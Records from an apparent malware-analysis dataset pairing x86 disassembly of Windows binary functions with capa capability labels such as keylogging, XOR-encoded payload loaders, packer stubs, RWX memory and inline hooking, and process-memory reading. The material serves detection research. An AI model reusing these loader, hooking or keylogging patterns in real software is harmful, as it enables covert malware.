joyce8/EMBER2024-capa huggingface dataset:
Function at 0x412010
Capabilities:
Create thread

Disassembly:
push esi
push ebx
sub esp, 0x34
mov dword [esp], 4
call sub.msvcrt.dll_malloc
test eax, eax
mov ebx, eax
je 0x412090
mov dword [esp], 8
call sub.msvcrt.dll_malloc
test eax, eax
mov esi, eax
je 0x412094
mov eax, dword [esp + 0x40]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], esi
mov dword [esp + 8], 0x411fe0
mov dword [esp], 0
mov dword [esi], eax
mov eax, dword [esp + 0x44]
mov dword [esi + 4], eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x48]
mov dword [esp + 4], eax
call dword [sym.imp.msvcrt.dll__beginthreadex]
test eax, eax
mov dword [ebx], eax
je 0x4120a0
mov eax, ebx
add esp, 0x34
pop ebx
pop esi
ret 0xc
xor eax, eax
jmp 0x41207f
mov dword [esp], ebx
call sub.msvcrt.dll_free
xor eax, eax
jmp 0x41207f
mov dword [esp], ebx
call sub.msvcrt.dll_free
mov dword [esp], esi
call sub.msvcrt.dll_free
xor eax, eax
jmp 0x41207f

Function at 0x413970
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov esi, dword [esp + 0x20]
mov eax, dword [esi*4 + 0x428c80]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
test eax, eax
mov ebx, eax
je 0x4139a0
add esp, 0x14
mov eax, ebx
pop ebx
pop esi
ret 8
mov eax, dword [esp + 0x24]
mov dword [esp], 1
mov dword [esp + 4], eax
call sub.msvcrt.dll_calloc
mov ebx, eax
mov dword [esp + 4], eax
mov eax, dword [esi*4 + 0x428c80]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
mov eax, ebx
add esp, 0x14
pop ebx
pop esi
ret 8

Function at 0x4139e0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebx
sub esp, 0x28
mov ebx, dword [esp + 0x30]
mov eax, dword [ebx*4 + 0x428c80]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
test eax, eax
je 0x413a27
cmp ebx, 4
je 0x413a30
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebx*4 + 0x428c80]
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
add esp, 0x28
pop ebx
ret 4
mov edx, dword [eax + 8]
mov dword [esp + 0x1c], eax
mov dword [esp], edx
call sub.msvcrt.dll_free
mov eax, dword [esp + 0x1c]
jmp 0x413a04
Function at 0x413c20
Capabilities:
Log keystrokes

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x2c
mov ebx, dword [esp + 0x40]
mov edi, dword [esp + 0x44]
mov eax, dword [esp + 0x48]
test bl, bl
sete dl
test dword [esp + 0x4c], 0x100
je 0x413c70
test dl, dl
je 0x413c70
mov ecx, edi
mov eax, 0x41e180
cmp word [eax], cx
je 0x413d70
add eax, 0xa
cmp eax, 0x41e1f8
jne 0x413c4d
mov eax, 0xffffffff
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
ret
cmp di, 0x58
jbe 0x413c90
mov eax, dword [esp + 0x50]
test eax, eax
jne 0x413c60
test dl, dl
movzx eax, bl
jne 0x413c60
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
ret
movzx edi, di
mov byte [esp + 0x1b], dl
movzx eax, ax
lea edx, [edi*8 + 0x41de80]
mov dword [esp + 4], 2
mov dword [esp], eax
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
sub esp, 8
movzx ebp, ax
mov dword [esp], ebp
mov esi, ebp
call dword [sym.imp.msvcrt.dll_isupper]
test eax, eax
movzx edx, byte [esp + 0x1b]
jne 0x413d40
mov byte [esp + 0x1b], dl
mov dword [esp], ebp
call dword [sym.imp.msvcrt.dll_islower]
test eax, eax
mov ecx, ebp
movzx edx, byte [esp + 0x1b]
je 0x413cf8
mov dword [esp], ebp
call dword [sym.imp.msvcrt.dll_toupper]
movzx edx, byte [esp + 0x1b]
mov ecx, eax
test byte [esp + 0x4c], 3
je 0x413d57
mov eax, dword [esp + 0x1c]
movzx esi, word [eax + 6]
cmp esi, 0xff
jle 0x413c76
movzx eax, bl
cmp eax, ecx
je 0x413d22
cmp eax, ebp
jne 0x413c76
and esi, 0xff00
lea eax, [esi + 0xff]
nop
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], ebp
call dword [sym.imp.msvcrt.dll_tolower]
test byte [esp + 0x4c], 3
mov ecx, eax
movzx edx, byte [esp + 0x1b]
jne 0x413cff
test byte [esp + 0x4c], 0xc
je 0x413db0
mov eax, dword [esp + 0x1c]
movzx esi, word [eax + 4]
jmp 0x413d07
test byte [esp + 0x4c], 3
jne 0x413dd0
test byte [esp + 0x4c], 0xc
je 0x413df0
movzx esi, word [eax + 6]
xor eax, eax
test esi, esi
setne al
test eax, eax
je 0x413c60
cmp esi, 0xff
mov eax, esi
jle 0x413c65
and esi, 0xff00
lea eax, [esi + 0xff]
jmp 0x413d30
test byte [esp + 0x4c], 0x10
jne 0x413de0
test bl, bl
jne 0x413d07
movzx esi, word [edi*8 + 0x41de80]
jmp 0x413d07
movzx esi, word [eax + 8]
xor eax, eax
test esi, esi
setne al
jmp 0x413d89
mov eax, dword [esp + 0x1c]
movzx esi, word [eax + 2]
jmp 0x413d07
test byte [esp + 0x4c], 0x10
je 0x413e04
movzx esi, word [eax + 4]
xor eax, eax
test esi, esi
setne al
jmp 0x413d89
movzx esi, word [eax + 2]
jmp 0x413d91
Function at 0x413e10
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebx
mov ebx, eax
sub esp, 0x38
mov eax, dword [eax]
test eax, eax
jne 0x413f10
mov edx, dword [ebx + 0xc]
test dl, 0x1c
je 0x413ec3
mov ebx, dword [0x428cc8]
test ebx, ebx
je 0x413f07
movsx eax, bl
mov dword [esp], eax
call dword [sym.imp.USER32.dll_VkKeyScanA]
sub esp, 4
mov edx, eax
movzx ecx, al
mov dword [esp + 0x28], 0
mov byte [esp + 0x2a], bl
mov ebx, eax
shr edx, 4
shr ebx, 6
shr eax, 9
and ebx, 8
and edx, 0x10
and eax, 2
or edx, ebx
mov dword [esp + 0x24], 0
mov dword [esp], ecx
or eax, edx
mov word [esp + 0x26], cx
mov dword [esp + 0x20], 0
mov dword [esp + 0x2c], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
sub esp, 8
mov word [esp + 0x28], ax
movzx eax, byte [0x428cc8]
lea edx, [esp + 0x20]
call fcn.00413ad0
mov dword [0x428cc8], 0
add esp, 0x38
pop ebx
ret
and edx, 3
mov eax, 0xffffffff
je 0x413e2c
movzx edx, word [ebx + 6]
lea ecx, [edx - 0x60]
cmp cx, 9
ja 0x413f6a
mov ecx, dword [ebx]
test ecx, ecx
je 0x413efb
mov ecx, dword [0x428cc8]
lea ecx, [ecx + ecx*4]
lea edx, [edx + ecx*2 - 0x60]
mov dword [0x428cc8], edx
cmp eax, 0xffffffff
je 0x413f07
mov edx, ebx
call fcn.00413ad0
add esp, 0x38
pop ebx
ret
mov dword [esp + 0x10], 0
mov eax, dword [ebx + 0xc]
mov dword [esp + 0xc], eax
movzx eax, word [ebx + 6]
mov dword [esp + 8], eax
movzx eax, word [ebx + 8]
mov dword [esp + 4], eax
movsx eax, byte [ebx + 0xa]
mov dword [esp], eax
call fcn.00413c20
mov edx, dword [ebx + 0xc]
test dl, 0x1c
je 0x413f60
cmp eax, 0xffffffff
je 0x413e2c
mov dword [0x428cc8], 0
jmp 0x413f00
and edx, 3
je 0x413f43
jmp 0x413ed1
cmp eax, 0xffffffff
jne 0x413f4c
jmp 0x413f07
Function at 0x417d40
Capabilities:
Manipulate console buffer

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x2c
mov ebp, dword [esp + 0x48]
mov esi, dword [esp + 0x40]
mov ebx, dword [esp + 0x44]
mov edi, dword [esp + 0x4c]
test ebp, ebp
js 0x417dd0
test ebx, ebx
js 0x417de0
shl ebx, 0x10
movzx ebp, bp
or ebx, ebp
test edi, edi
js 0x417daa
lea ebp, [esp + 0x18]
mov dword [esp], 0
call fcn.004163e0
mov dword [esp + 4], ebp
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
xor eax, eax
sub esp, 8
test edi, edi
setne al
mov dword [esp + 4], ebp
mov dword [esp], esi
mov dword [esp + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorInfo]
sub esp, 8
mov dword [esp + 4], ebx
mov dword [esp], esi
mov dword [0x43bdcc], 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
sub esp, 8
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], esi
call fcn.00418670
test ebx, ebx
mov ebp, eax
jns 0x417d63
nop
mov dword [esp], esi
call fcn.00418720
mov ebx, eax
jmp 0x417d63
Function at 0x419980
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
lea ebx, [esp + 0x24]
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
jmp fcn.004199e0

Function at 0x4199e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov esi, eax
push ebx
sub esp, 0x3c
mov eax, dword [0x42be44]
test eax, eax
jle 0x419ae3
mov edx, dword [0x42be48]
xor ebx, ebx
mov ecx, dword [edx + 4]
cmp ecx, esi
ja 0x419a11
mov edi, dword [edx + 8]
add ecx, dword [edi + 8]
cmp esi, ecx
jb 0x419a86
add ebx, 1
add edx, 0xc
cmp ebx, eax
jne 0x419a00
mov dword [esp], esi
call fcn.0041a2c0
test eax, eax
mov edi, eax
je 0x419b0a
lea esi, [ebx + ebx*2]
mov ebx, dword [0x42be48]
shl esi, 2
add ebx, esi
mov dword [ebx + 8], eax
mov dword [ebx], 0
call fcn.0041a3b0
add eax, dword [edi + 0xc]
mov dword [ebx + 4], eax
lea eax, [ebp - 0x34]
mov dword [esp + 4], eax
mov eax, dword [0x42be48]
mov dword [esp + 8], 0x1c
mov eax, dword [eax + esi + 4]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x419aea
mov eax, dword [ebp - 0x20]
cmp eax, 0x40
jne 0x419a90
add dword [0x42be44], 1
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
cmp eax, 4
je 0x419a7f
cmp eax, 0x80
je 0x419a7f
cmp eax, 8
je 0x419a7f
mov eax, dword [ebp - 0x28]
add esi, dword [0x42be48]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 0xc], esi
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x419a7f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.00419980
xor ebx, ebx
jmp 0x419a1b
mov eax, dword [0x42be48]
mov eax, dword [eax + esi + 4]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00419980
mov dword [esp + 4], esi
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00419980
lea esi, [esi]

Function at 0x41a1e0
Capabilities:
Enumerate pe sections

Disassembly:
push esi
push ebx
mov edx, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
add edx, dword [edx + 0x3c]
movzx esi, word [edx + 6]
movzx eax, word [edx + 0x14]
test esi, esi
lea eax, [edx + eax + 0x18]
je 0x41a218
xor edx, edx
nop
mov ecx, dword [eax + 0xc]
cmp ecx, ebx
ja 0x41a20e
add ecx, dword [eax + 8]
cmp ebx, ecx
jb 0x41a21a
add edx, 1
add eax, 0x28
cmp edx, esi
jb 0x41a200
xor eax, eax
pop ebx
pop esi
ret
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x406037
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x406046
pop dword [ebp - 0x28]
mov eax, 0x406046
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x9f489387
add dword [ebp - 0x38], 0xaf09b1c4
mov dword [ebp - 0x34], 0xe717b658
sub dword [ebp - 0x34], 0xb4e46a13
mov dword [ebp - 0x30], 0xad848e57
add dword [ebp - 0x30], 0x9ec7b5d7
mov dword [ebp - 0x2c], 0xcce3e85c
add dword [ebp - 0x2c], 0x331c17a4
lea eax, [ebp - 0x38]
push eax
mov eax, 0x2116781e
sub eax, 0x20d5a7ca
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0xda73f9a6
sub dword [ebp - 0x38], 0x66019050
mov dword [ebp - 0x34], 0xae75e240
sub dword [ebp - 0x34], 0x6d0980cb
mov dword [ebp - 0x30], 0xca6cd526
sub dword [ebp - 0x30], 0x66fd68ba
mov dword [ebp - 0x2c], 0xa2e1daf7
add dword [ebp - 0x2c], 0x5d1e2509
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0xfa88554b
add eax, 0x5b87b01
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x38197
push 0
call eax
mov ecx, 0xb627e4a5
add ecx, 0x49d85d71
mov esi, eax
mov edi, 0x1878f8d4
add edi, 0xe7c8b72c
add edi, dword [ebp - 0x28]
mov edx, 0x229ae891
sub edx, 0x4a20d83d
xor dword [ebp - 0x24], 0x6f495e58
mov ebx, dword [edi]
add dword [ebp - 0x1c], 0xc2b42f39
xor ebx, edx
xor dword [ebp - 0x1c], esi
mov dword [esi], ebx
sub dword [ebp - 0x20], ebx
add esi, 0x7a99de0c
add esi, 0x856621f8
add edi, 4
loop 0x406163
add eax, 0xfb2b
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xdd27bbe4
add ecx, 0x2318441c
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x10001b20
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
mov eax, dword [0x10009008]
xor eax, ebp
mov dword [ebp - 4], eax
push ecx
lea eax, [ebp - 0x204]
push str.HPShield.exe__geterror__show__async__
push eax
call fcn.10001e50
add esp, 0xc
lea eax, [ebp - 0x204]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x10001db0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push 0xc
call fcn.10005305
mov ebx, eax
push 4
mov dword [ebx], 0x10009220
call fcn.10004f81
mov ecx, dword [ebp + 8]
add esp, 8
mov dword [eax], ecx
mov dword [ebx + 4], eax
mov eax, dword [ebp + 0xc]
lea edx, [eax + 2]
nop dword [eax]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10001de0
sub eax, edx
xor ecx, ecx
sar eax, 1
mov edx, 2
lea edi, [eax + 1]
mov eax, edi
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.10005305
push dword [ebp + 0xc]
mov esi, eax
push edi
push esi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
add esp, 0x10
mov dword [ebx + 8], esi
push 0
push 0
push ebx
push 0x10002590
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x100025d0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x154
mov eax, dword [0x10009008]
xor eax, esp
mov dword [esp + 0x150], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
nop dword [eax]
push 0x7530
call ebx
mov ecx, dword [esi + 0x41c]
mov eax, dword [ecx]
mov eax, dword [eax]
call eax
test al, al
je 0x10002600
mov ecx, esi
call fcn.10002c30
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [esp + 0x14], eax
cmp eax, 0xffffffff
je 0x10002779
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], 0x128
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x10002775
push dword [esp + 0x20]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [esp + 0xc], eax
test eax, eax
je 0x10002757
mov ecx, dword [esi + 4]
lea edx, [esp + 0x144]
push edx
lea edx, [esp + 0x40]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 0x10]
call eax
test al, al
je 0x100026a8
mov ecx, dword [esi + 0x41c]
mov eax, dword [esp + 0x144]
add eax, 0x2710
push eax
mov edx, dword [ecx]
call dword [edx + 0x10]
push 0x3e8
call ebx
mov ecx, dword [esi + 4]
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [esi + 4]
mov ebx, eax
xor edi, edi
mov edx, dword [ecx]
call dword [edx + 8]
test eax, eax
jle 0x1000274d
lea eax, [esp + 0x148]
mov dword [esp + 0x148], 0
push eax
push 0x10
lea eax, [esp + 0x154]
push eax
push dword [ebx]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea eax, [ebx + 4]
mov esi, 0xc
lea edx, [esp + 0x14c]
nop dword [eax]
mov ecx, dword [edx]
cmp ecx, dword [eax]
jne 0x10002735
add edx, 4
add eax, 4
sub esi, 4
jae 0x10002700
mov esi, dword [esp + 0x10]
cmp edi, 0xffffffff
je 0x1000274d
mov ecx, dword [esi + 0x41c]
push edi
mov eax, dword [ecx]
call dword [eax + 0x10]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call ebx
jmp 0x10002753
mov esi, dword [esp + 0x10]
inc edi
add ebx, 0x14
mov ecx, dword [esi + 4]
mov eax, dword [ecx]
call dword [eax + 8]
cmp edi, eax
jl 0x100026c4
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x10002651
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, esi
call fcn.10002e30
jmp 0x10002600
Function at 0x100041b7
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x10009008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor edi, edi
mov esi, ecx
push edi
push 4
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x100042b9
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1c
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x100042b2
inc edi
cmp dword [ebp - 0x20], 0x10
jb 0x10004276
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 0x14], eax
jne 0x10004276
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [ebp - 0x18], eax
je 0x10004276
mov edx, dword [esi]
test edx, edx
jne 0x10004242
push 0x200
push edx
push dword [0x10009a2c]
mov dword [esi + 4], 0x80
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edx, eax
mov dword [esi], edx
test edx, edx
je 0x1000429b
jmp 0x1000426a
mov eax, dword [esi + 4]
cmp dword [esi + 8], eax
jb 0x1000426a
add eax, eax
mov dword [esi + 4], eax
shl eax, 2
push eax
push edx
push 0
push dword [0x10009a2c]
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov edx, eax
test edx, edx
je 0x1000429b
mov dword [esi], edx
mov ecx, dword [esi + 8]
mov eax, dword [ebp - 0x18]
mov dword [edx + ecx*4], eax
inc dword [esi + 8]
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1c
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x100041fd
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x100042b2
xor edi, edi
cmp dword [esi], edi
je 0x100042b2
push dword [esi]
push edi
push dword [0x10009a2c]
call dword [sym.imp.KERNEL32.dll_HeapFree]
and dword [esi], edi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10004f70
leave
ret

Function at 0x100042ca
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
mov edi, ecx
mov dword [ebp - 8], edx
xor esi, esi
mov dword [edi], esi
mov dword [edi + 4], esi
mov dword [edi + 8], esi
call fcn.100041b7
test eax, eax
jne 0x100042ee
push 9
pop esi
jmp 0x10004335
cmp dword [edi], esi
je 0x10004335
push ebx
mov ebx, esi
cmp dword [edi + 8], esi
jbe 0x10004334
mov eax, dword [edi]
push dword [eax + ebx*4]
push esi
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov dword [ebp - 4], eax
test eax, eax
je 0x1000432e
push eax
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push dword [ebp + 8]
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 4]
call fcn.10004062
pop ecx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
cmp ebx, dword [edi + 8]
jb 0x100042fa
pop ebx
pop edi
mov eax, esi
pop esi
leave
ret
Function at 0x1000433b
Capabilities:
Resume thread

Disassembly:
push esi
mov esi, ecx
mov eax, dword [esi]
test eax, eax
je 0x10004389
push edi
xor edi, edi
cmp dword [esi + 8], edi
jbe 0x10004379
push ebx
mov eax, dword [esi]
push dword [eax + edi*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov ebx, eax
test ebx, ebx
je 0x10004370
push ebx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [esi + 8]
jb 0x1000434d
mov eax, dword [esi]
pop ebx
push eax
push 0
push dword [0x10009a2c]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
ret

Function at 0x1000438b
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
imul esi, ecx, 0x2c
push edi
add esi, dword [0x10009a50]
mov al, byte [esi + 0x14]
mov edi, dword [esi]
and al, 1
je 0x100043a7
sub edi, 5
movzx eax, al
lea ebx, [eax*2 + 5]
lea eax, [ebp - 4]
push eax
push 0x40
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x100043c8
push 0xa
pop eax
jmp 0x10004407
mov byte [edi], 0xe9
mov eax, dword [esi + 4]
sub eax, edi
sub eax, 5
mov dword [edi + 1], eax
test byte [esi + 0x14], 1
je 0x100043e3
mov eax, dword [esi]
mov word [eax], 0xf9eb
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
or byte [esi + 0x14], 6
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10004937
Capabilities:
Allocate or change rwx memory

Disassembly:
mov edx, dword [0x10009a4c]
push esi
xor esi, esi
jmp 0x10004949
cmp dword [edx + 4], esi
jne 0x10004995
mov edx, dword [edx]
test edx, edx
jne 0x10004942
push 0x40
push 0x3000
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, eax
test edx, edx
je 0x100049a6
push 0x20
mov dword [edx + 4], esi
lea ecx, [edx + 0x20]
mov dword [edx + 8], esi
pop esi
mov eax, dword [edx + 4]
add esi, 0x20
mov dword [ecx], eax
mov dword [edx + 4], ecx
add ecx, 0x20
cmp esi, 0xfe0
jbe 0x10004972
mov eax, dword [0x10009a4c]
mov dword [edx], eax
mov dword [0x10009a4c], edx
test edx, edx
je 0x100049a6
mov eax, dword [edx + 4]
pop esi
mov ecx, dword [eax]
inc dword [edx + 8]
mov dword [edx + 4], ecx
ret
xor eax, eax
pop esi
ret
Function at 0x9e7440
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, dword [ebp + 0xc]
xor esi, esi
test edi, edi
je 0x9e748c
mov cl, byte [ebx + esi]
mov dl, cl
mov al, cl
shr dl, 1
and al, 0xfe
not dl
movzx eax, al
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
or cl, 1
test dl, 2
movzx ecx, cl
cmove ecx, eax
mov byte [ebx + esi], cl
inc esi
cmp esi, edi
jb 0x9e7452
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x9e74f0
Capabilities:
Hash data using md4
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push 0xf0000040
push 1
push 0
push 0
lea edi, [esi + 4]
mov dword [esi], 0
push esi
mov dword [edi], 0
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x9e7542
push edi
push 0
push 0
push 0x8002
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x9e7548
push eax
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov dword [esi], 0
pop edi
xor eax, eax
pop esi
pop ebp
ret
pop edi
mov eax, 1
pop esi
pop ebp
ret

Function at 0x9ffa35
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.009ff6f5

Function at 0xa0482f
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00a046ae

Function at 0xa09de0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0xa09e0d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0xa09e0d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x40a063
sub eax, reloc.ntdsapi.dll_DsBindWithCredA
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219